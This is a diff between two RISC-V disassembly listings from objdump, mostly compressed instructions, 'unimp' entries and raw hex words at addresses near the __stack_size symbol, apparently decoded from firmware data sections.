-    12ee:	5b00                	lw	s0,48(a4)
-    12f0:	0009                	c.nop	2
-    12f2:	2400                	fld	fs0,8(s0)
-    12f4:	75b2                	flw	fa1,44(sp)
-    12f6:	0000                	unimp
-    12f8:	d101                	beqz	a0,11f8 <__stack_size+0x9f8>
-    12fa:	7916                	flw	fs2,100(sp)
-    12fc:	0000                	unimp
-    12fe:	8600                	0x8600
-    1300:	0009                	c.nop	2
-    1302:	2400                	fld	fs0,8(s0)
-    1304:	6211                	lui	tp,0x4
-    1306:	0000                	unimp
-    1308:	d201                	beqz	a2,1208 <__stack_size+0xa08>
-    130a:	7916                	flw	fs2,100(sp)
-    130c:	0000                	unimp
-    130e:	a400                	fsd	fs0,8(s0)
-    1310:	0009                	c.nop	2
-    1312:	1a00                	addi	s0,sp,304
-    1314:	0068                	addi	a0,sp,12
+    12ce:	6200                	flw	fs0,0(a2)
+    12d0:	0006                	c.slli	zero,0x1
+    12d2:	1400                	addi	s0,sp,544
+    12d4:	6d7a                	flw	fs10,156(sp)
+    12d6:	0100                	addi	s0,sp,128
+    12d8:	1880                	addi	s0,sp,112
+    12da:	00000573          	0x573
+    12de:	5a01                	li	s4,-32
+    12e0:	00000017          	auipc	zero,0x0
+    12e4:	4400                	lw	s0,8(s0)
+    12e6:	0009                	c.nop	2
+    12e8:	1600                	addi	s0,sp,800
+    12ea:	5a01                	li	s4,-32
+    12ec:	7802                	flw	fa6,32(sp)
+    12ee:	1600                	addi	s0,sp,800
+    12f0:	5b01                	li	s6,-32
+    12f2:	7202                	flw	ft4,32(sp)
+    12f4:	0000                	unimp
+    12f6:	1500                	addi	s0,sp,672
+    12f8:	0000                	unimp
+    12fa:	0000                	unimp
+    12fc:	0d06                	slli	s10,s10,0x1
+    12fe:	0000                	unimp
+    1300:	0680                	addi	s0,sp,832
+    1302:	0000                	unimp
+    1304:	0116                	slli	sp,sp,0x5
+    1306:	025a                	slli	tp,tp,0x16
+    1308:	0072                	c.slli	zero,0x1c
+    130a:	0116                	slli	sp,sp,0x5
+    130c:	1630015b          	0x1630015b
+    1310:	5c01                	li	s8,-32
+    1312:	4001                	c.li	zero,0
+    1314:	1500                	addi	s0,sp,672
     1316:	0000                	unimp
-    1318:	000013a7          	0x13a7
-    131c:	01006927          	0x1006927
-    1320:	0bad                	addi	s7,s7,11
-    1322:	0030                	addi	a2,sp,8
-    1324:	0000                	unimp
-    1326:	09c2                	slli	s3,s3,0x10
-    1328:	0000                	unimp
-    132a:	8019                	srli	s0,s0,0x6
-    132c:	0000                	unimp
-    132e:	2700                	fld	fs0,8(a4)
-    1330:	3149                	jal	fb2 <__stack_size+0x7b2>
-    1332:	0100                	addi	s0,sp,128
-    1334:	007917af          	0x7917af
-    1338:	0000                	unimp
-    133a:	09d6                	slli	s3,s3,0x15
-    133c:	0000                	unimp
-    133e:	00314327          	fsq	ft3,6(sp)
-    1342:	b001                	j	b42 <__stack_size+0x342>
-    1344:	00007917          	auipc	s2,0x7
-    1348:	f400                	fsw	fs0,40(s0)
-    134a:	0009                	c.nop	2
-    134c:	2700                	fld	fs0,8(a4)
-    134e:	3249                	jal	cd0 <__stack_size+0x4d0>
-    1350:	0100                	addi	s0,sp,128
-    1352:	17b2                	slli	a5,a5,0x2c
-    1354:	0079                	c.nop	30
-    1356:	0000                	unimp
-    1358:	0a12                	slli	s4,s4,0x4
-    135a:	0000                	unimp
-    135c:	00324327          	fsq	ft3,6(tp) # 4006 <__stack_size+0x3806>
-    1360:	b301                	j	1060 <__stack_size+0x860>
-    1362:	00007917          	auipc	s2,0x7
-    1366:	3000                	fld	fs0,32(s0)
-    1368:	000a                	c.slli	zero,0x2
-    136a:	1a00                	addi	s0,sp,304
-    136c:	0098                	addi	a4,sp,64
+    1318:	0000                	unimp
+    131a:	0cd5                	addi	s9,s9,21
+    131c:	0000                	unimp
+    131e:	00000697          	auipc	a3,0x0
+    1322:	0116                	slli	sp,sp,0x5
+    1324:	055a                	slli	a0,a0,0x16
+    1326:	40426403          	0x40426403
+    132a:	0020                	addi	s0,sp,8
+    132c:	00000017          	auipc	zero,0x0
+    1330:	3600                	fld	fs0,40(a2)
+    1332:	000d                	c.nop	3
+    1334:	1600                	addi	s0,sp,800
+    1336:	5a01                	li	s4,-32
+    1338:	0305                	addi	t1,t1,1
+    133a:	4264                	lw	s1,68(a2)
+    133c:	2040                	fld	fs0,128(s0)
+    133e:	0116                	slli	sp,sp,0x5
+    1340:	0072025b          	0x72025b
+    1344:	0000                	unimp
+    1346:	ff0d                	bnez	a4,1280 <__stack_size+0xa80>
+    1348:	0036                	c.slli	zero,0xd
+    134a:	0100                	addi	s0,sp,128
+    134c:	1552                	slli	a0,a0,0x34
+    134e:	00000573          	0x573
+    1352:	1f10                	addi	a2,sp,944
+    1354:	2040                	fld	fs0,128(s0)
+    1356:	0136                	slli	sp,sp,0xd
+    1358:	0000                	unimp
+    135a:	9c01                	0x9c01
+    135c:	091e                	slli	s2,s2,0x7
+    135e:	0000                	unimp
+    1360:	00a36e0f          	0xa36e0f
+    1364:	0100                	addi	s0,sp,128
+    1366:	4052                	0x4052
+    1368:	0045                	c.nop	17
+    136a:	0000                	unimp
+    136c:	05fc                	addi	a5,sp,716
     136e:	0000                	unimp
-    1370:	135c                	addi	a5,sp,420
-    1372:	0000                	unimp
-    1374:	6126                	flw	ft2,72(sp)
-    1376:	0030                	addi	a2,sp,8
-    1378:	af01                	j	1a88 <__stack_size+0x1288>
-    137a:	721c                	flw	fa5,32(a2)
-    137c:	0000                	unimp
-    137e:	0100                	addi	s0,sp,128
-    1380:	005a                	c.slli	zero,0x16
-    1382:	b01a                	fsd	ft6,32(sp)
-    1384:	0000                	unimp
-    1386:	7300                	flw	fs0,32(a4)
-    1388:	26000013          	li	zero,608
-    138c:	3061                	jal	c14 <__stack_size+0x414>
-    138e:	0100                	addi	s0,sp,128
-    1390:	1cb0                	addi	a2,sp,632
-    1392:	0072                	c.slli	zero,0x1c
-    1394:	0000                	unimp
-    1396:	5a01                	li	s4,-32
-    1398:	1000                	addi	s0,sp,32
-    139a:	1e40                	addi	s0,sp,820
-    139c:	2040                	fld	fs0,128(s0)
-    139e:	000a                	c.slli	zero,0x2
-    13a0:	0000                	unimp
-    13a2:	138e                	slli	t2,t2,0x23
+    1370:	00379d0f          	0x379d0f
+    1374:	0100                	addi	s0,sp,128
+    1376:	5752                	lw	a4,52(sp)
+    1378:	0098                	addi	a4,sp,64
+    137a:	0000                	unimp
+    137c:	061d                	addi	a2,a2,7
+    137e:	0000                	unimp
+    1380:	f319                	bnez	a4,1286 <__stack_size+0xa86>
+    1382:	00a2                	slli	ra,ra,0x8
+    1384:	0100                	addi	s0,sp,128
+    1386:	05890853          	0x5890853
+    138a:	0000                	unimp
+    138c:	9102                	jalr	sp
+    138e:	1450                	addi	a2,sp,548
+    1390:	00727473          	csrrci	s0,0x7,4
+    1394:	5401                	li	s0,-32
+    1396:	00091e0f          	0x91e0f
+    139a:	0500                	addi	s0,sp,640
+    139c:	00d8d403          	lhu	s0,13(a7)
+    13a0:	1980                	addi	s0,sp,240
+    13a2:	a325                	j	18ca <__stack_size+0x10ca>
     13a4:	0000                	unimp
-    13a6:	6126                	flw	ft2,72(sp)
-    13a8:	0030                	addi	a2,sp,8
-    13aa:	b201                	j	caa <__stack_size+0x4aa>
-    13ac:	721c                	flw	fa5,32(a2)
-    13ae:	0000                	unimp
-    13b0:	0100                	addi	s0,sp,128
-    13b2:	005a                	c.slli	zero,0x16
-    13b4:	4a1f 401e 0820      	0x820401e4a1f
+    13a6:	5501                	li	a0,-32
+    13a8:	3410                	fld	fa2,40(s0)
+    13aa:	0009                	c.nop	2
+    13ac:	0500                	addi	s0,sp,640
+    13ae:	00d86803          	0xd86803
+    13b2:	1280                	addi	s0,sp,352
+    13b4:	1f2c                	addi	a1,sp,952
+    13b6:	2040                	fld	fs0,128(s0)
+    13b8:	0010                	0x10
     13ba:	0000                	unimp
-    13bc:	2600                	fld	fs0,8(a2)
-    13be:	3061                	jal	c46 <__stack_size+0x446>
-    13c0:	0100                	addi	s0,sp,128
-    13c2:	00721cb3          	sll	s9,tp,t2
-    13c6:	0000                	unimp
-    13c8:	5a01                	li	s4,-32
-    13ca:	0000                	unimp
-    13cc:	1000                	addi	s0,sp,32
-    13ce:	1e6c                	addi	a1,sp,828
-    13d0:	2040                	fld	fs0,128(s0)
-    13d2:	000e                	c.slli	zero,0x3
-    13d4:	0000                	unimp
-    13d6:	000013bf 01006928 	0x1006928000013bf
-    13de:	0bba                	slli	s7,s7,0xe
-    13e0:	0030                	addi	a2,sp,8
-    13e2:	0000                	unimp
-    13e4:	1a00                	addi	s0,sp,304
-    13e6:	00c8                	addi	a0,sp,68
-    13e8:	0000                	unimp
-    13ea:	13f9                	addi	t2,t2,-2
-    13ec:	0000                	unimp
-    13ee:	01006927          	0x1006927
-    13f2:	0bbd                	addi	s7,s7,15
-    13f4:	0030                	addi	a2,sp,8
-    13f6:	0000                	unimp
-    13f8:	00000a43          	fmadd.s	fs4,ft0,ft0,ft0,rne
-    13fc:	401ec01b          	0x401ec01b
-    1400:	0820                	addi	s0,sp,24
-    1402:	001d                	c.nop	7
-    1404:	1300                	addi	s0,sp,416
-    1406:	5a01                	li	s4,-32
-    1408:	8502                	jr	a0
-    140a:	1300                	addi	s0,sp,416
-    140c:	5b01                	li	s6,-32
-    140e:	7902                	flw	fs2,32(sp)
-    1410:	1300                	addi	s0,sp,416
-    1412:	5d01                	li	s10,-32
-    1414:	7902                	flw	fs2,32(sp)
-    1416:	1300                	addi	s0,sp,416
-    1418:	5f01                	li	t5,-32
-    141a:	7902                	flw	fs2,32(sp)
+    13bc:	076d                	addi	a4,a4,27
+    13be:	0000                	unimp
+    13c0:	6114                	flw	fa3,0(a0)
+    13c2:	0030                	addi	a2,sp,8
+    13c4:	5701                	li	a4,-32
+    13c6:	00006b07          	0x6b07
+    13ca:	0100                	addi	s0,sp,128
+    13cc:	145a                	slli	s0,s0,0x36
+    13ce:	3261                	jal	d56 <__stack_size+0x556>
+    13d0:	0100                	addi	s0,sp,128
+    13d2:	006b0757          	0x6b0757
+    13d6:	0000                	unimp
+    13d8:	5c01                	li	s8,-32
+    13da:	6114                	flw	fa3,0(a0)
+    13dc:	57010033          	0x57010033
+    13e0:	00006b07          	0x6b07
+    13e4:	0100                	addi	s0,sp,128
+    13e6:	145d                	addi	s0,s0,-9
+    13e8:	3461                	jal	e70 <__stack_size+0x670>
+    13ea:	0100                	addi	s0,sp,128
+    13ec:	006b0757          	0x6b0757
+    13f0:	0000                	unimp
+    13f2:	5e01                	li	t3,-32
+    13f4:	6114                	flw	fa3,0(a0)
+    13f6:	0035                	c.nop	13
+    13f8:	5701                	li	a4,-32
+    13fa:	00006b07          	0x6b07
+    13fe:	0100                	addi	s0,sp,128
+    1400:	005f 6012 401f      	0x401f6012005f
+    1406:	3220                	fld	fs0,96(a2)
+    1408:	0000                	unimp
+    140a:	eb00                	fsw	fs0,16(a4)
+    140c:	10000007          	0x10000007
+    1410:	6d7a                	flw	fs10,156(sp)
+    1412:	0100                	addi	s0,sp,128
+    1414:	1959                	addi	s2,s2,-10
+    1416:	00000573          	0x573
+    141a:	0654                	addi	a3,sp,772
     141c:	0000                	unimp
-    141e:	1000                	addi	s0,sp,32
-    1420:	1f36                	slli	t5,t5,0x2d
-    1422:	2040                	fld	fs0,128(s0)
-    1424:	000c                	0xc
-    1426:	0000                	unimp
-    1428:	1414                	addi	a3,sp,544
-    142a:	0000                	unimp
-    142c:	6126                	flw	ft2,72(sp)
-    142e:	0030                	addi	a2,sp,8
-    1430:	cb01                	beqz	a4,1440 <__stack_size+0xc40>
-    1432:	722c                	flw	fa1,96(a2)
-    1434:	0000                	unimp
-    1436:	0100                	addi	s0,sp,128
-    1438:	005a                	c.slli	zero,0x16
-    143a:	e01a                	fsw	ft6,0(sp)
+    141e:	6c15                	lui	s8,0x5
+    1420:	401f d520 000c      	0xcd520401f
+    1426:	a000                	fsd	fs0,0(s0)
+    1428:	16000007          	0x16000007
+    142c:	5a01                	li	s4,-32
+    142e:	0305                	addi	t1,t1,1
+    1430:	4264                	lw	s1,68(a2)
+    1432:	2040                	fld	fs0,128(s0)
+    1434:	1500                	addi	s0,sp,672
+    1436:	1f80                	addi	s0,sp,1008
+    1438:	2040                	fld	fs0,128(s0)
+    143a:	0d2a                	slli	s10,s10,0xa
     143c:	0000                	unimp
-    143e:	2b00                	fld	fs0,16(a4)
-    1440:	0014                	0x14
-    1442:	2600                	fld	fs0,8(a2)
-    1444:	3061                	jal	ccc <__stack_size+0x4cc>
-    1446:	0100                	addi	s0,sp,128
-    1448:	2ccc                	fld	fa1,152(s1)
-    144a:	0072                	c.slli	zero,0x1c
-    144c:	0000                	unimp
-    144e:	5a01                	li	s4,-32
-    1450:	1a00                	addi	s0,sp,304
-    1452:	00f8                	addi	a4,sp,76
-    1454:	0000                	unimp
-    1456:	1442                	slli	s0,s0,0x30
-    1458:	0000                	unimp
-    145a:	6126                	flw	ft2,72(sp)
-    145c:	0030                	addi	a2,sp,8
-    145e:	cd01                	beqz	a0,1476 <__stack_size+0xc76>
-    1460:	722c                	flw	fa1,96(a2)
-    1462:	0000                	unimp
-    1464:	0100                	addi	s0,sp,128
-    1466:	005a                	c.slli	zero,0x16
-    1468:	5810                	lw	a2,48(s0)
-    146a:	401f 0a20 0000      	0xa20401f
-    1470:	5d00                	lw	s0,56(a0)
-    1472:	0014                	0x14
-    1474:	2600                	fld	fs0,8(a2)
-    1476:	3061                	jal	cfe <__stack_size+0x4fe>
-    1478:	0100                	addi	s0,sp,128
-    147a:	2cce                	fld	fs9,208(sp)
-    147c:	0072                	c.slli	zero,0x1c
+    143e:	07bd                	addi	a5,a5,15
+    1440:	0000                	unimp
+    1442:	0116                	slli	sp,sp,0x5
+    1444:	055a                	slli	a0,a0,0x16
+    1446:	40429c03          	lh	s8,1028(t0)
+    144a:	1620                	addi	s0,sp,808
+    144c:	5b01                	li	s6,-32
+    144e:	7202                	flw	ft4,32(sp)
+    1450:	0000                	unimp
+    1452:	8615                	srai	a2,a2,0x5
+    1454:	401f 4420 0009      	0x94420401f
+    145a:	d700                	sw	s0,40(a4)
+    145c:	16000007          	0x16000007
+    1460:	5a01                	li	s4,-32
+    1462:	7802                	flw	fa6,32(sp)
+    1464:	1600                	addi	s0,sp,800
+    1466:	5b01                	li	s6,-32
+    1468:	7202                	flw	ft4,32(sp)
+    146a:	0000                	unimp
+    146c:	401f9217          	auipc	tp,0x401f9
+    1470:	2a20                	fld	fs0,80(a2)
+    1472:	000d                	c.nop	3
+    1474:	1600                	addi	s0,sp,800
+    1476:	5a01                	li	s4,-32
+    1478:	0305                	addi	t1,t1,1
+    147a:	42c0                	lw	s0,4(a3)
+    147c:	2040                	fld	fs0,128(s0)
     147e:	0000                	unimp
-    1480:	5a01                	li	s4,-32
-    1482:	1000                	addi	s0,sp,32
-    1484:	1f62                	slli	t5,t5,0x38
-    1486:	2040                	fld	fs0,128(s0)
-    1488:	000c                	0xc
-    148a:	0000                	unimp
-    148c:	1478                	addi	a4,sp,556
-    148e:	0000                	unimp
-    1490:	6126                	flw	ft2,72(sp)
-    1492:	0030                	addi	a2,sp,8
-    1494:	cf01                	beqz	a4,14ac <__stack_size+0xcac>
-    1496:	7222                	flw	ft4,40(sp)
-    1498:	0000                	unimp
-    149a:	0100                	addi	s0,sp,128
-    149c:	005a                	c.slli	zero,0x16
-    149e:	6e10                	flw	fa2,24(a2)
-    14a0:	401f 0c20 0000      	0xc20401f
-    14a6:	9300                	0x9300
-    14a8:	0014                	0x14
-    14aa:	2600                	fld	fs0,8(a2)
-    14ac:	3061                	jal	d34 <__stack_size+0x534>
-    14ae:	0100                	addi	s0,sp,128
-    14b0:	22d0                	fld	fa2,128(a3)
-    14b2:	0072                	c.slli	zero,0x1c
-    14b4:	0000                	unimp
-    14b6:	5a01                	li	s4,-32
-    14b8:	1000                	addi	s0,sp,32
-    14ba:	1f7a                	slli	t5,t5,0x3e
-    14bc:	2040                	fld	fs0,128(s0)
-    14be:	000c                	0xc
+    1480:	2c15                	jal	16b4 <__stack_size+0xeb4>
+    1482:	401f 0620 000d      	0xd0620401f
+    1488:	0900                	addi	s0,sp,144
+    148a:	0008                	0x8
+    148c:	1600                	addi	s0,sp,800
+    148e:	5a01                	li	s4,-32
+    1490:	7202                	flw	ft4,32(sp)
+    1492:	1600                	addi	s0,sp,800
+    1494:	5b01                	li	s6,-32
+    1496:	3001                	jal	c96 <__stack_size+0x496>
+    1498:	0116                	slli	sp,sp,0x5
+    149a:	015c                	addi	a5,sp,132
+    149c:	0040                	addi	s0,sp,4
+    149e:	4e15                	li	t3,5
+    14a0:	401f d520 000c      	0xcd520401f
+    14a6:	2000                	fld	fs0,0(s0)
+    14a8:	0008                	0x8
+    14aa:	1600                	addi	s0,sp,800
+    14ac:	5a01                	li	s4,-32
+    14ae:	0305                	addi	t1,t1,1
+    14b0:	4264                	lw	s1,68(a2)
+    14b2:	2040                	fld	fs0,128(s0)
+    14b4:	1500                	addi	s0,sp,672
+    14b6:	1f5e                	slli	t5,t5,0x37
+    14b8:	2040                	fld	fs0,128(s0)
+    14ba:	0d36                	slli	s10,s10,0xd
+    14bc:	0000                	unimp
+    14be:	083d                	addi	a6,a6,15
     14c0:	0000                	unimp
-    14c2:	14ae                	slli	s1,s1,0x2b
-    14c4:	0000                	unimp
-    14c6:	6126                	flw	ft2,72(sp)
-    14c8:	0030                	addi	a2,sp,8
-    14ca:	d101                	beqz	a0,13ca <__stack_size+0xbca>
-    14cc:	7222                	flw	ft4,40(sp)
-    14ce:	0000                	unimp
-    14d0:	0100                	addi	s0,sp,128
-    14d2:	005a                	c.slli	zero,0x16
-    14d4:	8610                	0x8610
-    14d6:	401f 0c20 0000      	0xc20401f
-    14dc:	c900                	sw	s0,16(a0)
-    14de:	0014                	0x14
-    14e0:	2600                	fld	fs0,8(a2)
-    14e2:	3061                	jal	d6a <__stack_size+0x56a>
-    14e4:	0100                	addi	s0,sp,128
-    14e6:	22d2                	fld	ft5,272(sp)
-    14e8:	0072                	c.slli	zero,0x1c
-    14ea:	0000                	unimp
-    14ec:	5a01                	li	s4,-32
-    14ee:	1200                	addi	s0,sp,288
-    14f0:	1e88                	addi	a0,sp,880
-    14f2:	2040                	fld	fs0,128(s0)
-    14f4:	00001db7          	lui	s11,0x1
-    14f8:	000014e7          	0x14e7
-    14fc:	035a0113          	addi	sp,s4,53
-    1500:	e891                	bnez	s1,1514 <__stack_size+0xd14>
-    1502:	137e                	slli	t1,t1,0x3f
-    1504:	5b01                	li	s6,-32
-    1506:	0305                	addi	t1,t1,1
-    1508:	5630                	lw	a2,104(a2)
-    150a:	2040                	fld	fs0,128(s0)
-    150c:	1200                	addi	s0,sp,288
-    150e:	1e8e                	slli	t4,t4,0x23
-    1510:	2040                	fld	fs0,128(s0)
-    1512:	1d20                	addi	s0,sp,696
-    1514:	0000                	unimp
-    1516:	14fc                	addi	a5,sp,620
-    1518:	0000                	unimp
-    151a:	035a0113          	addi	sp,s4,53
-    151e:	e891                	bnez	s1,1532 <__stack_size+0xd32>
-    1520:	007e                	c.slli	zero,0x1f
-    1522:	d612                	sw	tp,44(sp)
-    1524:	401e                	0x401e
-    1526:	c320                	sw	s0,64(a4)
-    1528:	001d                	c.nop	7
-    152a:	2400                	fld	fs0,8(s0)
-    152c:	0015                	c.nop	5
-    152e:	1300                	addi	s0,sp,416
-    1530:	5a01                	li	s4,-32
-    1532:	7ef89103          	lh	sp,2031(a7)
-    1536:	015b0113          	addi	sp,s6,21
-    153a:	5c01133b          	0x5c01133b
-    153e:	3401                	jal	f3e <__stack_size+0x73e>
-    1540:	055d0113          	addi	sp,s10,85
-    1544:	4019ac03          	lw	s8,1025(s3)
-    1548:	0020                	addi	s0,sp,8
-    154a:	e812                	fsw	ft4,16(sp)
-    154c:	401e                	0x401e
-    154e:	c320                	sw	s0,64(a4)
-    1550:	001d                	c.nop	7
-    1552:	4b00                	lw	s0,16(a4)
-    1554:	0015                	c.nop	5
-    1556:	1300                	addi	s0,sp,416
-    1558:	5a01                	li	s4,-32
-    155a:	8302                	jr	t1
-    155c:	1300                	addi	s0,sp,416
-    155e:	5b01                	li	s6,-32
-    1560:	3b01                	jal	1270 <__stack_size+0xa70>
-    1562:	015c0113          	addi	sp,s8,21
-    1566:	1334                	addi	a3,sp,424
-    1568:	5d01                	li	s10,-32
-    156a:	0305                	addi	t1,t1,1
-    156c:	19ac                	addi	a1,sp,248
-    156e:	2040                	fld	fs0,128(s0)
-    1570:	1200                	addi	s0,sp,288
-    1572:	1ef4                	addi	a3,sp,892
-    1574:	2040                	fld	fs0,128(s0)
-    1576:	1d08                	addi	a0,sp,688
-    1578:	0000                	unimp
-    157a:	1562                	slli	a0,a0,0x38
-    157c:	0000                	unimp
-    157e:	055a0113          	addi	sp,s4,85
-    1582:	40565403          	lhu	s0,1029(a2) # 19405 <__stack_size+0x18c05>
-    1586:	0020                	addi	s0,sp,8
-    1588:	0612                	slli	a2,a2,0x4
-    158a:	401f 0820 001d      	0x1d0820401f
-    1590:	7900                	flw	fs0,48(a0)
-    1592:	0015                	c.nop	5
-    1594:	1300                	addi	s0,sp,416
-    1596:	5a01                	li	s4,-32
-    1598:	0305                	addi	t1,t1,1
-    159a:	5680                	lw	s0,40(a3)
-    159c:	2040                	fld	fs0,128(s0)
-    159e:	1200                	addi	s0,sp,288
-    15a0:	1f1e                	slli	t5,t5,0x27
-    15a2:	2040                	fld	fs0,128(s0)
-    15a4:	1d08                	addi	a0,sp,688
-    15a6:	0000                	unimp
-    15a8:	15a2                	slli	a1,a1,0x28
-    15aa:	0000                	unimp
-    15ac:	055a0113          	addi	sp,s4,85
-    15b0:	4056a003          	lw	zero,1029(a3)
-    15b4:	1320                	addi	s0,sp,424
-    15b6:	5b01                	li	s6,-32
-    15b8:	7802                	flw	fa6,32(sp)
-    15ba:	1300                	addi	s0,sp,416
-    15bc:	5c01                	li	s8,-32
-    15be:	7902                	flw	fs2,32(sp)
-    15c0:	1300                	addi	s0,sp,416
-    15c2:	5d01                	li	s10,-32
-    15c4:	8302                	jr	t1
-    15c6:	0000                	unimp
-    15c8:	3612                	fld	fa2,288(sp)
-    15ca:	401f 0820 001d      	0x1d0820401f
-    15d0:	d400                	sw	s0,40(s0)
-    15d2:	0015                	c.nop	5
-    15d4:	1300                	addi	s0,sp,416
-    15d6:	5a01                	li	s4,-32
-    15d8:	0305                	addi	t1,t1,1
-    15da:	56c0                	lw	s0,44(a3)
-    15dc:	2040                	fld	fs0,128(s0)
-    15de:	055b0113          	addi	sp,s6,85
-    15e2:	0078                	addi	a4,sp,12
-    15e4:	0082                	c.slli64	ra
-    15e6:	5c01131b          	0x5c01131b
-    15ea:	7905                	lui	s2,0xfffe1
-    15ec:	8200                	0x8200
-    15ee:	1b00                	addi	s0,sp,432
-    15f0:	055d0113          	addi	sp,s10,85
-    15f4:	00820083          	lb	ra,8(tp) # 8 <__stack_size-0x7f8>
-    15f8:	a412001b          	0xa412001b
-    15fc:	401f 0820 001d      	0x1d0820401f
-    1602:	eb00                	fsw	fs0,16(a4)
-    1604:	0015                	c.nop	5
-    1606:	1300                	addi	s0,sp,416
-    1608:	5a01                	li	s4,-32
-    160a:	0305                	addi	t1,t1,1
-    160c:	583c                	lw	a5,112(s0)
-    160e:	2040                	fld	fs0,128(s0)
-    1610:	1200                	addi	s0,sp,288
-    1612:	1fb0                	addi	a2,sp,1016
-    1614:	2040                	fld	fs0,128(s0)
-    1616:	1d08                	addi	a0,sp,688
-    1618:	0000                	unimp
-    161a:	1602                	slli	a2,a2,0x20
+    14c2:	0116                	slli	sp,sp,0x5
+    14c4:	055a                	slli	a0,a0,0x16
+    14c6:	40426403          	0x40426403
+    14ca:	1620                	addi	s0,sp,808
+    14cc:	5b01                	li	s6,-32
+    14ce:	7202                	flw	ft4,32(sp)
+    14d0:	0000                	unimp
+    14d2:	c015                	beqz	s0,14f6 <__stack_size+0xcf6>
+    14d4:	401f 1e20 000d      	0xd1e20401f
+    14da:	5600                	lw	s0,40(a2)
+    14dc:	0008                	0x8
+    14de:	1600                	addi	s0,sp,800
+    14e0:	5b01                	li	s6,-32
+    14e2:	7202                	flw	ft4,32(sp)
+    14e4:	1600                	addi	s0,sp,800
+    14e6:	5c01                	li	s8,-32
+    14e8:	4001                	c.li	zero,0
+    14ea:	1500                	addi	s0,sp,672
+    14ec:	1fe4                	addi	s1,sp,1020
+    14ee:	2040                	fld	fs0,128(s0)
+    14f0:	0d42                	slli	s10,s10,0x10
+    14f2:	0000                	unimp
+    14f4:	0000086f          	jal	a6,14f4 <__stack_size+0xcf4>
+    14f8:	0116                	slli	sp,sp,0x5
+    14fa:	025a                	slli	tp,tp,0x16
+    14fc:	0072                	c.slli	zero,0x1c
+    14fe:	0116                	slli	sp,sp,0x5
+    1500:	0040015b          	0x40015b
+    1504:	fa15                	bnez	a2,1438 <__stack_size+0xc38>
+    1506:	401f 4e20 000d      	0xd4e20401f
+    150c:	9000                	0x9000
+    150e:	0008                	0x8
+    1510:	1600                	addi	s0,sp,800
+    1512:	5a01                	li	s4,-32
+    1514:	3101                	jal	1114 <__stack_size+0x914>
+    1516:	0116                	slli	sp,sp,0x5
+    1518:	2803055b          	0x2803055b
+    151c:	403e                	0x403e
+    151e:	1620                	addi	s0,sp,808
+    1520:	5c01                	li	s8,-32
+    1522:	3601                	jal	1022 <__stack_size+0x822>
+    1524:	1500                	addi	s0,sp,672
+    1526:	2008                	fld	fa0,0(s0)
+    1528:	2040                	fld	fs0,128(s0)
+    152a:	0d2a                	slli	s10,s10,0xa
+    152c:	0000                	unimp
+    152e:	000008b3          	add	a7,zero,zero
+    1532:	0116                	slli	sp,sp,0x5
+    1534:	055a                	slli	a0,a0,0x16
+    1536:	40428403          	lb	s0,1028(t0)
+    153a:	1620                	addi	s0,sp,808
+    153c:	5b01                	li	s6,-32
+    153e:	7802                	flw	fa6,32(sp)
+    1540:	1600                	addi	s0,sp,800
+    1542:	5c01                	li	s8,-32
+    1544:	7902                	flw	fs2,32(sp)
+    1546:	0000                	unimp
+    1548:	1015                	c.nop	-27
+    154a:	4020                	lw	s0,64(s0)
+    154c:	5a20                	lw	s0,112(a2)
+    154e:	000d                	c.nop	3
+    1550:	cc00                	sw	s0,24(s0)
+    1552:	0008                	0x8
+    1554:	1600                	addi	s0,sp,800
+    1556:	5a01                	li	s4,-32
+    1558:	7902                	flw	fs2,32(sp)
+    155a:	1600                	addi	s0,sp,800
+    155c:	5b01                	li	s6,-32
+    155e:	3a01                	jal	e6e <__stack_size+0x66e>
+    1560:	1500                	addi	s0,sp,672
+    1562:	201c                	fld	fa5,0(s0)
+    1564:	2040                	fld	fs0,128(s0)
+    1566:	0d2a                	slli	s10,s10,0xa
+    1568:	0000                	unimp
+    156a:	000008e3          	beqz	zero,1d7a <__stack_size+0x157a>
+    156e:	0116                	slli	sp,sp,0x5
+    1570:	055a                	slli	a0,a0,0x16
+    1572:	403e8403          	lb	s0,1027(t4)
+    1576:	0020                	addi	s0,sp,8
+    1578:	2815                	jal	15ac <__stack_size+0xdac>
+    157a:	4020                	lw	s0,64(s0)
+    157c:	2a20                	fld	fs0,80(a2)
+    157e:	000d                	c.nop	3
+    1580:	0000                	unimp
+    1582:	0009                	c.nop	2
+    1584:	1600                	addi	s0,sp,800
+    1586:	5a01                	li	s4,-32
+    1588:	0305                	addi	t1,t1,1
+    158a:	4290                	lw	a2,0(a3)
+    158c:	2040                	fld	fs0,128(s0)
+    158e:	0116                	slli	sp,sp,0x5
+    1590:	0084025b          	0x84025b
+    1594:	1700                	addi	s0,sp,928
+    1596:	203a                	fld	ft0,392(sp)
+    1598:	2040                	fld	fs0,128(s0)
+    159a:	0d4e                	slli	s10,s10,0x13
+    159c:	0000                	unimp
+    159e:	0116                	slli	sp,sp,0x5
+    15a0:	015a                	slli	sp,sp,0x16
+    15a2:	1631                	addi	a2,a2,-20
+    15a4:	5b01                	li	s6,-32
+    15a6:	0305                	addi	t1,t1,1
+    15a8:	3ed0                	fld	fa2,184(a3)
+    15aa:	2040                	fld	fs0,128(s0)
+    15ac:	0116                	slli	sp,sp,0x5
+    15ae:	015c                	addi	a5,sp,132
+    15b0:	0036                	c.slli	zero,0xd
+    15b2:	1a00                	addi	s0,sp,304
+    15b4:	009e                	slli	ra,ra,0x7
+    15b6:	0000                	unimp
+    15b8:	0934                	addi	a3,sp,152
+    15ba:	0000                	unimp
+    15bc:	0000911b          	0x911b
+    15c0:	0100                	addi	s0,sp,128
+    15c2:	0000911b          	0x911b
+    15c6:	3f00                	fld	fs0,56(a4)
+    15c8:	1a00                	addi	s0,sp,304
+    15ca:	0098                	addi	a4,sp,64
+    15cc:	0000                	unimp
+    15ce:	0944                	addi	s1,sp,148
+    15d0:	0000                	unimp
+    15d2:	0000911b          	0x911b
+    15d6:	0100                	addi	s0,sp,128
+    15d8:	0d00                	addi	s0,sp,656
+    15da:	a2b1                	j	1726 <__stack_size+0xf26>
+    15dc:	0000                	unimp
+    15de:	2e01                	jal	18ee <__stack_size+0x10ee>
+    15e0:	7315                	lui	t1,0xfffe5
+    15e2:	0005                	c.nop	1
+    15e4:	6400                	flw	fs0,8(s0)
+    15e6:	401e                	0x401e
+    15e8:	ac20                	fsd	fs0,88(s0)
+    15ea:	0000                	unimp
+    15ec:	0100                	addi	s0,sp,128
+    15ee:	b39c                	fsd	fa5,32(a5)
+    15f0:	000a                	c.slli	zero,0x2
+    15f2:	0f00                	addi	s0,sp,912
+    15f4:	a36e                	fsd	fs11,384(sp)
+    15f6:	0000                	unimp
